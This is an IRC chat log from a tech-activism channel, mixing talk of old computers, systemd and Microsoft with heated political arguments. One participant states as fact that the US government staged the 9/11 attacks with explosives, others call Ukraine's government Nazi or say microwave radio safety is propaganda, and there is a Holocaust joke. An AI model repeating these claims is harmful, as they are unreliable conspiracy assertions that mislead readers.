| cubexyz | I think you've cleared it up :) | Oct 04 15:41 |
| schestowitz | "msb__http://www.judicialwatch.org/archive/2006/flight77-1.mpg That video, supposedly from a pentagon surveillance camera, shows a white cylindrical object approaching the building at the right edge of the screen around 87 seconds in. I thought to compare its height with the height of the building, but it's hard to tell how far it is from the camera." | Oct 04 15:42 |
| schestowitz | The plane is still and short compared to the vast building | Oct 04 15:42 |
| schestowitz | and even msb_, who insists WTC (both totwers) is "controlled demolition", does not believe there is coverup re pentagon | Oct 04 15:43 |
| schestowitz | "The P is 77ft high, and a 757about 12 ft high. So the object height is approximately equal to the height of a 757, 1/7th the height of the building." | Oct 04 15:43 |
| schestowitz | -msd | Oct 04 15:43 |
| schestowitz | msd | Oct 04 15:43 |
| schestowitz | msb even | Oct 04 15:43 |
| schestowitz | so, like I said, at first glance it's shocking | Oct 04 15:44 |
| schestowitz | but a top-down view is misleading | Oct 04 15:44 |
| schestowitz | it doesn't do justice to scale differences | Oct 04 15:44 |
| schestowitz | you'd need to stack up 7 757 planes on top of each other to reach the pentagon's height | Oct 04 15:44 |
| schestowitz | why are we still talking about 9/11 here? | Oct 04 15:46 |
| schestowitz | I keep seeing that the whole day on the 14th was a chat about msb_'s nonsense | Oct 04 15:46 |
| schestowitz | and he has been doing that for years | Oct 04 15:46 |
| schestowitz | discrediting this forum | Oct 04 15:46 |
| cubexyz | I only was curious about the lack of airplane debris, now I'm pretty well done talking about it :) | Oct 04 15:47 |
| cubexyz | mostly these days I talk about BIOS source code and distros | Oct 04 15:48 |
| schestowitz | well, maybe some people are so demanding that they'll ask for photos of the corpses of the pilot and flight attendants | Oct 04 15:48 |
| schestowitz | "show/prove or it didn't happen" | Oct 04 15:48 |
| schestowitz | cubexyz: I see some funny links from MinceR in the logs | Oct 04 15:49 |
| schestowitz | I check in case I missed something while away | Oct 04 15:49 |
| cubexyz | funny links? | Oct 04 15:49 |
| cubexyz | sometimes I don't really paid much attention to non-tech discussions | Oct 04 15:49 |
| schestowitz | http://www.maxhost.org/other/keytronic-trackball-keyboard.jpg | Oct 04 15:50 |
| schestowitz | eww... I remember those. | Oct 04 15:50 |
| schestowitz | http://www.maxhost.org/other/mouse-with-lots-of-buttons.png | Oct 04 15:50 |
| schestowitz | This might actually work, but applications are built for these | Oct 04 15:50 |
| schestowitz | if ported to OSuX, they might also have to assume one button | Oct 04 15:50 |
| schestowitz | long press for menu, no second button | Oct 04 15:51 |
| schestowitz | "cubexyzstallman doesn't like the term 'intellectual property'" | Oct 04 15:53 |
| schestowitz | "XFaCEcubexyz: that's the point of the article :P" | Oct 04 15:53 |
| schestowitz | Well, coming from the guy who called his party "Pirate party" | Oct 04 15:53 |
| schestowitz | reinforcing the pirate analogy/stereotype, or trying to tame it | Oct 04 15:53 |
| schestowitz | " | Oct 04 15:57 |
| schestowitz | cubexyzI don't understand Ken Starks going on about windows 10 Sep 15 06:16 | Oct 04 15:57 |
| schestowitz | cubexyzFOSS people need to talk about FOSS not windows 10 | Oct 04 15:57 |
| schestowitz | " | Oct 04 15:57 |
| schestowitz | That may not be enough | Oct 04 15:57 |
| schestowitz | speaking about what's wrong with what people CURRENTLY use can help reinforce issues they experiences | Oct 04 15:57 |
| schestowitz | *ced | Oct 04 15:57 |
| schestowitz | like dealing with malware | Oct 04 15:57 |
| schestowitz | MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 15:58 |
| *schestowitz catches up with http://techrights.org/wp-content/uploads/2015/10/irc-log-techrights-13092015.html | Oct 04 15:58 | |
| -TechrightsBot-tr/#techrights-techrights.org | IRC: #techrights @ FreeNode: September 13th, 2015-September 19th, 2015 [ http://ur1.ca/nwxsp ] | Oct 04 15:58 | |
| schestowitz | based in part on cubelog logs | Oct 04 15:58 |
| schestowitz | " | Oct 04 16:00 |
| schestowitz | cubexyzsocialism is a good thingSep 16 03:39 | Oct 04 16:00 |
| schestowitz | cubexyznot sure why the American politicians think it's a dirty word | Oct 04 16:00 |
| schestowitz | " | Oct 04 16:00 |
| schestowitz | It's bad for rich people | Oct 04 16:00 |
| schestowitz | And rich people fund US politicians | Oct 04 16:00 |
| schestowitz | If it's bad for the 1%, then politicians will say it's bad "for America['s owners]" | Oct 04 16:01 |
| msb_ | Obviously something hit the Pentagon, but IMO there's insufficient evidence to determine what it was. Problems with a 757: 1. very little debris. The Pentagon was built very solidly, so a lot of 757 debris should have landed outside. It didn't. 2. A first responder, who went in before the fire started, reported seeing no passenger chairs. These are built very solidly, designed to withstand 12G or so. And they were not found | Oct 04 16:01 |
| msb_ | outside. 3. The alleged exit hole in the inner wall of the outer ring of the pentagon could not have been made by any part of the plane, since there were columns in the way: http://cosmicpenguin.com/911/images/asce-illus-2.gif The hole looks exactly like a circle of detcord (explosive rope) was hung on the inside of the wall and detonated. | Oct 04 16:01 |
| msb_ | schestowitz: BTW a missile detonates wherever its designers make it detonate. There are penetrator missiles with reinforced noses that can go through the walls of concrete bunkers and detonate inside. | Oct 04 16:03 |
| schestowitz | "msb__In this century, Russia has been about 1/1000th as imperialist as the US, which is attacking it." | Oct 04 16:04 |
| schestowitz | LOL | Oct 04 16:04 |
| schestowitz | if you said decade, well... | Oct 04 16:04 |
| schestowitz | But century, oh dear... | Oct 04 16:04 |
| schestowitz | !google russia invasions east europe | Oct 04 16:05 |
| TechrightsBot-tr | [1] - Russian Non-Invasion Causing Concern in European Capitals | http://russia-insider.com/en/russian-non-invasion-causing-concern-european-capitals/ri8139 | Oct 04 16:05 |
| TechrightsBot-tr | [2] - Put British troops in Eastern Europe to see off invasion by Vladimir ... | http://www.dailymail.co.uk/news/article-3217529/Put-British-troops-Eastern-Europe-invasion-Vladimir-Putin-s-Russia-says-new-report.html | Oct 04 16:05 |
| TechrightsBot-tr | [3] - Russia and Eastern Europe: How worried should Poland, the Baltic ... | http://www.slate.com/blogs/the_world_/2014/09/19/russia_and_eastern_europe_how_worried_should_poland_the_baltic_states_and.html | Oct 04 16:05 |
| TechrightsBot-tr | [4] - Military occupations by the Soviet Union - Wikipedia, the free ... | https://en.wikipedia.org/wiki/Military_occupations_by_the_Soviet_Union | Oct 04 16:05 |
| msb_ | I meant after 2000. | Oct 04 16:05 |
| schestowitz | selective timelines | Oct 04 16:05 |
| msb_ | Not in the last 100 years. | Oct 04 16:05 |
| schestowitz | how do you think Russia got this massive in the first place? | Oct 04 16:05 |
| schestowitz | They used to have what is now Alaska too | Oct 04 16:05 |
| schestowitz | "DaemonFCMinceR, Puerto Rico is being treated terribly by the United States." | Oct 04 16:09 |
| schestowitz | Same as Guam and the Philippines, which is just being looted, not even a territory per se | Oct 04 16:09 |
| schestowitz | (except for military bases with bait for China to worry about) | Oct 04 16:09 |
| schestowitz | msb_: want to move to Russia? | Oct 04 16:09 |
| schestowitz | Maybe somewhere near Siberia? I heard it's lovely in summer | Oct 04 16:10 |
| schestowitz | you might even get a lada and some wheat | Oct 04 16:10 |
| schestowitz | don't complain in a blog or a personal site, some vigilante might do some regretful thing... | Oct 04 16:10 |
| schestowitz | People rush out of Russia (sometimes the capital too) not just as economic migrants | Oct 04 16:11 |
| msb_ | The US govt did the 911 attack. The WTC evidence proves it. Using the 911 false-flag as the pretext, the US then bombed, missiled, strafed and destr0yed the infrastructure of Afghanistan, Iraq, Libya, and most of Syria, murdering TWO MILLION PEOPLE. The govt has admitted that its excuse of "WMD in Iraq" was a lie. Other than annexing Crimea at its overwhelming request, Russia has done nothing like this. | Oct 04 16:11 |
| schestowitz | " | Oct 04 16:13 |
| schestowitz | msb__"Accuracy in Media" is an American ultra-rightwing propaganda organization.Sep 17 03:25 | Oct 04 16:13 |
| schestowitz | msb__So is "National Review" | Oct 04 16:13 |
| schestowitz | " | Oct 04 16:13 |
| schestowitz | The latter isn't | Oct 04 16:13 |
| msb_ | That depends on one's political orientation. | Oct 04 16:15 |
| *schestowitz reads msb_ rants in favour of Russia and against US | Oct 04 16:17 | |
| schestowitz | the main issue i have is, many regard the US as "good" | Oct 04 16:17 |
| schestowitz | and russia as "evil" | Oct 04 16:17 |
| schestowitz | but both are evil | Oct 04 16:17 |
| schestowitz | Some regard saudi and singapore as developed | Oct 04 16:17 |
| schestowitz | because they have money | Oct 04 16:17 |
| schestowitz | but they're just a bunch of barbarians | Oct 04 16:17 |
| schestowitz | so we need to change perceptions, to align with reality, not with who pays most to the media | Oct 04 16:18 |
| schestowitz | !google wikileaks saudi bribes media | Oct 04 16:18 |
| TechrightsBot-tr | [1] - The Saudi Cables - WikiLeaks | https://wikileaks.org/saudi-cables/press | Oct 04 16:18 |
| TechrightsBot-tr | [2] - Wikileaks: Here's What #SaudiCables Said About Tunisia | http://www.tunisia-live.net/2015/06/22/wikileaks-heres-what-we-learned-from-saudicables-part-1/ | Oct 04 16:18 |
| TechrightsBot-tr | [3] - 'Saudi Cables release is just one tenth of what we have' – WikiLeaks to | http://rt.com/news/268948-wikileaks-saudi-documents-new/%3F | Oct 04 16:18 |
| TechrightsBot-tr | [4] - Petrodollar Bribery, Smear Campaigns: The Wikileaks Saudi Cables ... | http://www.globalresearch.ca/petrodollar-bribery-smear-campaigns-the-wikileaks-saudi-cables/5459287 | Oct 04 16:18 |
| schestowitz | msb_: for the US to be bad doesn't require Russia to be "good" | Oct 04 16:18 |
| schestowitz | something in a fight it's not good vs evil | Oct 04 16:19 |
| schestowitz | but two evils | Oct 04 16:19 |
| schestowitz | same re stalin and hitler | Oct 04 16:19 |
| msb_ | There are degrees of evil. The US has recently destr0yed 4 nations and murdered two million people. Russia has not recently done anything like that, and is trying to protect what's left of Syria from ISIL and Al Qaeda. | Oct 04 16:19 |
| schestowitz | army and media at war also frame these as "good" vs "evil", like in children's book | Oct 04 16:19 |
| schestowitz | look what russia does around crimea and ukraine | Oct 04 16:19 |
| schestowitz | not unprovoked | Oct 04 16:19 |
| schestowitz | alas, it raises hell | Oct 04 16:20 |
| msb_ | It protected the people of Crimea. | Oct 04 16:20 |
| schestowitz | lol | Oct 04 16:20 |
| msb_ | Who asked for its protection. | Oct 04 16:20 |
| schestowitz | like Israel protected Syrians when it invaded and grabbed land from Syria | Oct 04 16:20 |
| msb_ | Red Herring | Oct 04 16:20 |
| schestowitz | Like the US protected south vietnam | Oct 04 16:20 |
| msb_ | Red Herring | Oct 04 16:20 |
| schestowitz | and firebombed the place | Oct 04 16:21 |
| schestowitz | and dumped toxins | Oct 04 16:21 |
| schestowitz | killing millions for many years to come | Oct 04 16:21 |
| schestowitz | "msb__The Crimeans voted to be part of Russia." | Oct 04 16:21 |
| schestowitz | Sock Doctrine | Oct 04 16:21 |
| schestowitz | *Shock | Oct 04 16:21 |
| schestowitz | which you like to cire | Oct 04 16:21 |
| schestowitz | *cite | Oct 04 16:22 |
| msb_ | None of which has any connection whatsoever to the events in Crimea. But you mention them to distract people's attention from that discussion. | Oct 04 16:22 |
| schestowitz | people vote for militant politicians when they're under war | Oct 04 16:22 |
| msb_ | They voted against the Nazi Ukraine government, which was bombing and shelling them, and voted to join Russia. | Oct 04 16:23 |
| schestowitz | Crimea made the right decision, if they voted this way at all, given what the Russian response made of the Ukraine... little better than Syria, esp. at the east | Oct 04 16:23 |
| msb_ | If Russia had protected other regions of East Ukraine, you would now be accusing them of being violent invaders. | Oct 04 16:24 |
| schestowitz | it didn't protect | Oct 04 16:26 |
| schestowitz | it annexed | Oct 04 16:26 |
| schestowitz | protect is the occupier's language | Oct 04 16:26 |
| schestowitz | protect from who? | Oct 04 16:26 |
| schestowitz | Kiev? | Oct 04 16:26 |
| schestowitz | the US "protected" Iraq | Oct 04 16:26 |
| schestowitz | the US "protected" Vietnam | Oct 04 16:26 |
| schestowitz | China "protected" Tibet | Oct 04 16:27 |
| schestowitz | John "protected" his wife | Oct 04 16:27 |
| msb_ | Four Red Herrings in a row. | Oct 04 16:27 |
| schestowitz | nope | Oct 04 16:27 |
| msb_ | Your propaganda technique is primitive. | Oct 04 16:28 |
| msb_ | How would Russia have protected Crimeans without annexing Crimea (which is what they voted for)? Fight an ongoing hot war with the Nazi Ukraine government with no end? | Oct 04 16:29 |
| schestowitz | protect from who? | Oct 04 16:29 |
| msb_ | Yes, protect from Kiev's bombers and artillery. | Oct 04 16:29 |
| schestowitz | The examples I gave are better | Oct 04 16:29 |
| schestowitz | because then there was legitimate threat | Oct 04 16:29 |
| schestowitz | not a made up one | Oct 04 16:30 |
| schestowitz | so kiev was going to bomb crimea? | Oct 04 16:30 |
| schestowitz | Why does not not do so not? | Oct 04 16:30 |
| schestowitz | It's within range, easily... | Oct 04 16:30 |
| msb_ | "Why does not not do so not?" does not parse | Oct 04 16:31 |
| schestowitz | why does it not do so now? | Oct 04 16:32 |
| schestowitz | " | Oct 04 16:33 |
| schestowitz | XRevan86Damn, Windows 10 doesn't violate Russian Federation law about information security because EULA.Sep 18 14:53 | Oct 04 16:33 |
| schestowitz | XRevan86Source: http://rapsinews.ru/incident_news/20150918/274582334.htmlSep 18 14:54 | Oct 04 16:33 |
| schestowitz | XRevan86That doesn't really make much sense. | Oct 04 16:33 |
| -TechrightsBot-tr/#techrights-rapsinews.ru | Роскомнадзор не нашел несоответствия деятельности Microsoft законам РФ | Новости | Российское агентство правовой и судебной информации - РАПСИ [ http://ur1.ca/nwxym ] | Oct 04 16:33 | |
| schestowitz | " | Oct 04 16:33 |
| schestowitz | Circular logic there | Oct 04 16:33 |
| schestowitz | Russian reversal maybe? | Oct 04 16:33 |
| schestowitz | In Russia, EULA comply with State! | Oct 04 16:34 |
| XRevan86 | schestowitz: Seems like it. | Oct 04 16:34 |
| schestowitz | "|also, i realized canada no longer has rule of law, thanks to harper.|" | Oct 04 16:38 |
| schestowitz | Even worse based on what I heard today from some of my wife's friends in Canada | Oct 04 16:38 |
| schestowitz | They're very immigration-hostile | Oct 04 16:38 |
| schestowitz | and they seem to be more blatant about it, Rump style | Oct 04 16:38 |
| schestowitz | " | Oct 04 16:39 |
| schestowitz | MinceRhttp://www.huffingtonpost.ca/2015/05/13/omnibus-budget-bill-rewri_n_7275002.htmlSep 19 03:12 | Oct 04 16:39 |
| schestowitz | MinceRit's like he's copying orbanSep 19 03:12 | Oct 04 16:39 |
| -TechrightsBot-tr/#techrights-www.huffingtonpost.ca | Harper Government Retroactively Rewrites Gun Registry Law [ http://ur1.ca/ncn7n ] | Oct 04 16:39 | |
| schestowitz | MinceR(who's copying putin) | Oct 04 16:39 |
| schestowitz | " | Oct 04 16:39 |
| schestowitz | it's more like the US model | Oct 04 16:39 |
| schestowitz | post-Revolution | Oct 04 16:39 |
| schestowitz | they still think it's 1776 | Oct 04 16:39 |
| schestowitz | and that the British might come back to occupy in their large boats | Oct 04 16:40 |
| schestowitz | (or maybe the Mexicans with their armalites and weaponised fishing boats ^_^ ) | Oct 04 16:40 |
| schestowitz | MinceR: better try use your EU citizenship and get a work visa in the UK... | Oct 04 16:41 |
| schestowitz | there's lack of FOSS skills here | Oct 04 16:41 |
| schestowitz | at the same time, a lot of the gov. moves to FOSS and must embrace ODF | Oct 04 16:42 |
| schestowitz | then find support contracts | Oct 04 16:42 |
| schestowitz | !google hungary libreoffice conference | Oct 04 16:42 |
| TechrightsBot-tr | [1] - Migration » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/migration-user-experiance-and-marketing/ | Oct 04 16:42 |
| TechrightsBot-tr | [2] - Registration » LibreOffice Conference | https://conference.libreoffice.org/2015/registration/ | Oct 04 16:42 |
| TechrightsBot-tr | [3] - LibreOffice Conference — Milan — 2013 | http://conference.libreoffice.org/talks/2013/ | Oct 04 16:42 |
| TechrightsBot-tr | [4] - Native Language » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/native-language-community-and-certifification/ | Oct 04 16:42 |
| schestowitz | it was said that hungary is very backwards in the sense, in the conference a few weeks ago | Oct 04 16:43 |
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| MinceR | http://www.pidjin.net/2015/10/02/mein-car/ | Oct 04 16:46 |
| -TechrightsBot-tr/#techrights-www.pidjin.net | Mein Car - Fredo and Pidjin. The Webcomic. [ http://ur1.ca/nwy0r ] | Oct 04 16:46 | |
| MinceR | schestowitz: i can't afford to move yet | Oct 04 16:46 |
| MinceR | 215820 < schestowitz> MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 16:46 |
| MinceR | until it affects them | Oct 04 16:47 |
| MinceR | then suddenly it will get very bad for them | Oct 04 16:47 |
| schestowitz | " | Oct 04 16:50 |
| schestowitz | MinceRsurprise surprise, foreign investors and local businesses are fleeing the countrySep 19 22:30 | Oct 04 16:50 |
| schestowitz | MinceRonly the companies who made a pact with the government for cheap slave labor remain on the long term | Oct 04 16:50 |
| schestowitz | " | Oct 04 16:50 |
| schestowitz | Time for egg throwing at egghead nadella? | Oct 04 16:50 |
| schestowitz | MinceR: ok, if you ever want a new challenge, maybe I can personally do what I can to assist | Oct 04 16:50 |
| schestowitz | "MinceRdumbFuckBook violates people's privacy in every way they can and most people can't even conceive of not having a dumbFuckBook account" | Oct 04 16:53 |
| schestowitz | They still have Web browser with cookie support ^_^ | Oct 04 16:53 |
| schestowitz | So they're passive useds | Oct 04 16:53 |
| schestowitz | "Many years ago I participated in a cannabis test at the SF Veterans Hospital, and smoked some atrocious NIH pot." -msb__ | Oct 04 16:55 |
| schestowitz | the experiment succeeded | Oct 04 16:56 |
| msb_ | MinceR: Wouldn't Hitler _want_ the car to emit toxic gas? (For Jews, Gypsies...) | Oct 04 16:56 |
| MinceR | duh | Oct 04 16:56 |
| MinceR | schestowitz: egg throwing doesn't fix the laws | Oct 04 16:57 |
| MinceR | nor does it help enforce antitrust/antimonopoly law | Oct 04 16:57 |
| MinceR | though if the egg was launched at a sufficiently high velocity, that would be slightly different | Oct 04 16:57 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 16:58 |
| MinceR | schestowitz: also, the UK won't be a great destination once cameron manages to ban encryption and leave the EU | Oct 04 16:59 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 17:03 |
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| TweetTuxMachines | @tuxmachines Linux.Wifatch ‘malware’ is actually making | Oct 04 17:07 |
| TweetTuxMachines | routers more secure http://t.co/ZwrOKjc396 | Oct 04 17:07 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 04 17:07 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux.Wifatch ‘malware’ is actually making routers more secure | Tux Machines | Oct 04 17:07 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nwy56 | Oct 04 17:07 |
| msb_ | schestowitz: No answer. I guess "the experiment succeeded" is yet another lying smear attack, like: "msb_'s nonsense", "want to move to Russia?", "msb_ rants". You use these because you've never disproved anything I've said. So you resort to lying smears and personal insults. | Oct 04 17:11 |
| MinceR | keep repeating that, maybe someone will believe it | Oct 04 17:12 |
| msb_ | schestowitz: I expect better from you, because you do such a good job of seeing through and exposing microsoft's lies and the dangers of swpats. | Oct 04 17:15 |
| MinceR | then it's no surprise he also sees through putin's propaganda | Oct 04 17:16 |
| schestowitz | "On one recent RT show, a journalist blamed Putin for 8,000 deaths in Donbass because he promised to protect the people there, and when they asked for autonomy and were shelled by the Kiev Nazi govt, Putin did nothing." | Oct 04 17:28 |
| schestowitz | LOl!!! | Oct 04 17:28 |
| schestowitz | RT says Putin too soft | Oct 04 17:28 |
| MinceR | he should try viagra | Oct 04 17:28 |
| schestowitz | lol | Oct 04 17:28 |
| schestowitz | putintin | Oct 04 17:28 |
| schestowitz | "can't" | Oct 04 17:28 |
| MinceR | maybe it would lessen the compulsion for the fascistic macho posturing | Oct 04 17:28 |
| schestowitz | does he have offsping? | Oct 04 17:29 |
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| schestowitz | /s/he/it/ | Oct 04 17:29 |
| MinceR | dunno | Oct 04 17:29 |
| schestowitz | RT criticises Putin | Oct 04 17:30 |
| schestowitz | for being too pacifist | Oct 04 17:30 |
| schestowitz | See? RT is "tough" on Putin | Oct 04 17:30 |
| MinceR | unfortunately, putin has bred | Oct 04 17:30 |
| schestowitz | Xrvan fled | Oct 04 17:30 |
| schestowitz | maybe could take the insults of putit-in | Oct 04 17:30 |
| MinceR | nah, he parts at random times | Oct 04 17:30 |
| schestowitz | ah, ok | Oct 04 17:31 |
| schestowitz | so we have a king | Oct 04 17:31 |
| schestowitz | now he had a heir | Oct 04 17:31 |
| schestowitz | time for a spare | Oct 04 17:31 |
| schestowitz | " | Oct 04 17:33 |
| schestowitz | __martin__"a Microsoft researcher worked with computer scientists from West Virginia University and UC Santa Barbara to create a Twitter platform called "Botivist," which acts as a tool for activists to recruit volunteers on social media for campaigns"Sep 22 21:27 | Oct 04 17:33 |
| schestowitz | __martin__"As for Microsoft’s involvement, the paper appears on the company's research site, although Savage said she was told not to talk about the company’s involvement. The Microsoft researcher, Andres Monroy-Hernandez, did not respond to my request for comment on why Microsoft took part in the work. The paper will be presented at the 2016 ACM conference on Computer-Supported Cooperative Work and SociaSep 22 21:28 | Oct 04 17:33 |
| schestowitz | __martin__l Computing, according to Microsoft’s site." | Oct 04 17:33 |
| schestowitz | " | Oct 04 17:33 |
| schestowitz | Marketing first | Oct 04 17:33 |
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| gde33 | this was great http://www.historytoday.com/peter-frankopan/world-we-have-lost | Oct 04 17:37 |
| -TechrightsBot-tr/#techrights-www.historytoday.com | The World We Have Lost | History Today [ http://ur1.ca/nwyas ] | Oct 04 17:37 | |
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| MinceR | http://www.libri.hu/konyv/magyar_balint.magyar-polip.html | Oct 04 17:55 |
| -TechrightsBot-tr/#techrights-www.libri.hu | Knyv: Magyar polip (Magyar Blint (Szerk.)) [ http://ur1.ca/nwyek ] | Oct 04 17:55 | |
| MinceR | this book mentions the putin model, though it focuses on the orban regime | Oct 04 17:55 |
| schestowitz | Rump... https://i.chzbgr.com/full/8567675648/hCF036023/ | Oct 04 17:58 |
| schestowitz | did he really make all these faces and if so when? (context) | Oct 04 17:58 |
| schestowitz | https://twitter.com/TedBehr/status/650792315712221184 | Oct 04 18:00 |
| -TechrightsBot-tr/#techrights-@TedBehr: @schestowitz Interesting. | Oct 04 18:00 | |
| cubexyz | what I find interesting is how people understand less and less about their computers | Oct 04 18:03 |
| cubexyz | when I talk to older Unix folks, they know a lot about fixing their old PDP-11s | Oct 04 18:03 |
| schestowitz | cubexyz: re http://www.maxhost.org/other/ancedote-windows-bsod.txt | Oct 04 18:03 |
| schestowitz | should be anecdote | Oct 04 18:03 |
| cubexyz | right :) | Oct 04 18:04 |
| cubexyz | those are just quick text files I whip up | Oct 04 18:05 |
| cubexyz | anything I find interesting enough to keep | Oct 04 18:05 |
| cubexyz | ok... as I was saying... old Unix peeps know more about their old PDP-11s than we know about our modern PCs | Oct 04 18:06 |
| cubexyz | part of that is that PDP-11s are a lot simpler and easier to understand | Oct 04 18:06 |
| cubexyz | but the general trend is notable | Oct 04 18:07 |
| cubexyz | PDP-11s had no BIOS as we understand the term | Oct 04 18:07 |
| schestowitz | "MinceRhttps://web.archive.org/web/20141129114502/http://boycottsystemd.org/lennart1.png" | Oct 04 18:07 |
| MinceR | pdp-11s are also probably a lot less secret | Oct 04 18:07 |
| -TechrightsBot-tr/#techrights- ( status 403 @ https://web.archive.org/web/20141129114502/http://boycottsystemd.org/lennart1.png ) | Oct 04 18:07 | |
| schestowitz | "MinceRhttp://img.linuxfr.org/img/68747470733a2f2f6861636b2d6c696272652e6f72672f66696c65732f6c697672655f7072c3a966c3a972c3a95f6c656e6e6172742d35303070782e6a7067/livre_pr%C3%A9f%C3%A9r%C3%A9_lennart-500px.jpg" | Oct 04 18:07 |
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| schestowitz | Both links broken for me | Oct 04 18:07 |
| MinceR | yeah, they're abusing robots.txt now | Oct 04 18:08 |
| MinceR | or rather, the domain is parked | Oct 04 18:08 |
| MinceR | and they tend to do shit like this when parked | Oct 04 18:08 |
| gde33 | cubexyz: in the commodore 64 days people would know all the opcodes (even the undocumented ones) and many would know a large part of the rom (opperating system) | Oct 04 18:08 |
| cubexyz | gde33, that's true | Oct 04 18:08 |
| cubexyz | the roms were small enough and relatively easy to understand | Oct 04 18:09 |
| gde33 | it goes back further, today ##programming knows next to nothing about ##electronics | Oct 04 18:09 |
| schestowitz | cubexyz: "that reminds me, do we really need a #boycottnovell still?" | Oct 04 18:09 |
| schestowitz | won't hurt | Oct 04 18:09 |
| gde33 | the abstractions have less to do with how things work under the hood but cate to the way humans view stuff | Oct 04 18:10 |
| gde33 | cater | Oct 04 18:10 |
| cubexyz | ok, you might remember I talked about BIOS startup sequence which was send out the serial port on bootup | Oct 04 18:10 |
| cubexyz | PDP-11s had the SLU or Serial Line Unit that did the same thing | Oct 04 18:11 |
| MinceR | schestowitz: i think it was this: https://i.warosu.org/data/g/img/0435/95/1408121072612.png | Oct 04 18:11 |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://i.warosu.org/data/g/img/0435/95/1408121072612.png ) | Oct 04 18:11 | |
| gde33 | haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss | Oct 04 18:11 |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss ) | Oct 04 18:11 | |
| cubexyz | I felt I had a much better understand of the c64 than a modern PC, even though I've studied the modern PC a lot longer | Oct 04 18:12 |
| cubexyz | s/understand/understanding/ | Oct 04 18:12 |
| cubexyz | but it had terrible IO :) | Oct 04 18:12 |
| TweetTuxMachines | @tuxmachines Linux 4.3-rc4 http://t.co/foV3V2mkEV | Oct 04 18:13 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 04 18:13 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux 4.3-rc4 | Tux Machines | Oct 04 18:13 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nwyid | Oct 04 18:13 |
| schestowitz | MinceR: ah, I know this one | Oct 04 18:13 |
| TweetTuxMachines | @tuxmachines How Debian managed the systemd transition | Oct 04 18:13 |
| TweetTuxMachines | https://t.co/0EJVOaJDLq (lwn.net) | Oct 04 18:13 |
| -TechrightsBot-tr/#techrights-lwn.net | How Debian managed the systemd transition [LWN.net] | Oct 04 18:13 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nwyie | Oct 04 18:13 |
| cubexyz | the old c64 BASIC ROM was what... 8K in size? | Oct 04 18:13 |
| schestowitz | MinceR: the new Red Hat uniform | Oct 04 18:13 |
| MinceR | :> | Oct 04 18:13 |
| cubexyz | bah, systemd | Oct 04 18:14 |
| MinceR | 001128 < gde33> haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss | Oct 04 18:15 |
| MinceR | or they could try preparing them properly | Oct 04 18:15 |
| MinceR | use the right spices also | Oct 04 18:15 |
| schestowitz | "XRevan86: how is the current russia different from the ussr?" | Oct 04 18:15 |
| schestowitz | Microsoft vs New Microsoft | Oct 04 18:15 |
| gde33 | there is nothing wrong with how they taste until you try combine them with overly processed foods | Oct 04 18:15 |
| schestowitz | The latter keeps saying it has changed | Oct 04 18:16 |
| schestowitz | while doing exactly the same things as before | Oct 04 18:16 |
| cubexyz | the 1980s computers should be studied | Oct 04 18:16 |
| schestowitz | where? In landfills? | Oct 04 18:16 |
| schestowitz | Or in their original habitats? | Oct 04 18:16 |
| XRevan86 | "Old Russia" had no oligarhs | Oct 04 18:16 |
| cubexyz | that's when the whole windows stuff started | Oct 04 18:16 |
| gde33 | yeah, good point | Oct 04 18:17 |
| gde33 | calculators at the time were madly sophisticated | Oct 04 18:17 |
| gde33 | where is the solar powered smart phone? | Oct 04 18:17 |
| schestowitz | now there are PDAs | Oct 04 18:17 |
| gde33 | you get one of those tiny cells, that should be enough to power the pocket calculator of 2015 | Oct 04 18:17 |
| msb_ | Vegetables are delicious when not overcooked. | Oct 04 18:18 |
| gde33 | I'm not sohpisticated enough but in theory you should be able to receave calls with a crystal radio not using any power | Oct 04 18:18 |
| gde33 | at least not while on standby | Oct 04 18:18 |
| cubexyz | you can receive radio waves | Oct 04 18:18 |
| cubexyz | it's very faint | Oct 04 18:18 |
| cubexyz | we used to build crystal radios | Oct 04 18:18 |
| gde33 | I think the modern phone has to sort out tons of data not aimed for that client | Oct 04 18:19 |
| MinceR | it has to deal with a lot of superfluous crap | Oct 04 18:19 |
| MinceR | extra GUI bling, bloated applications and the "modern" web | Oct 04 18:20 |
| gde33 | each handset could negotiate a frequency with the local tower | Oct 04 18:20 |
| msb_ | With a long antenna, sensitive earphones, and a powerful AM station, a crystal set worked. | Oct 04 18:20 |
| MinceR | they ran out of bandwidth for that long ago | Oct 04 18:20 |
| gde33 | msb_: all we need is to bridge the idle time without use of power | Oct 04 18:20 |
| cubexyz | oh so it wouldn't work nowdays? | Oct 04 18:20 |
| MinceR | solely frequency-division multiplexing, i mean | Oct 04 18:20 |
| gde33 | LIFI is the future | Oct 04 18:21 |
| gde33 | I always knew | Oct 04 18:21 |
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| gde33 | microwaving people is a dumb idea, this was known from the start | Oct 04 18:21 |
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| gde33 | it is also slow compared to light | Oct 04 18:21 |
| MinceR | the microwave portion of technophobia? | Oct 04 18:21 |
| r_schestowitz | [23:17] <schestowitz> gde33: people now want a 'phone' they can watch pr0n on in the dark | Oct 04 18:21 |
| r_schestowitz | [23:18] <schestowitz> they might also explain why phones are getting bigger again | Oct 04 18:22 |
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| r_schestowitz | router just went funny, can someone paste from scroll/buffer | Oct 04 18:22 |
| MinceR | people will make up ways in which light is evil | Oct 04 18:22 |
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| r_schestowitz | <gde33> microwaving people is a dumb idea, this was known from the start | Oct 04 18:22 |
| gde33 | the microwaves are safe propaganda is just like the smoking propaganda | Oct 04 18:22 |
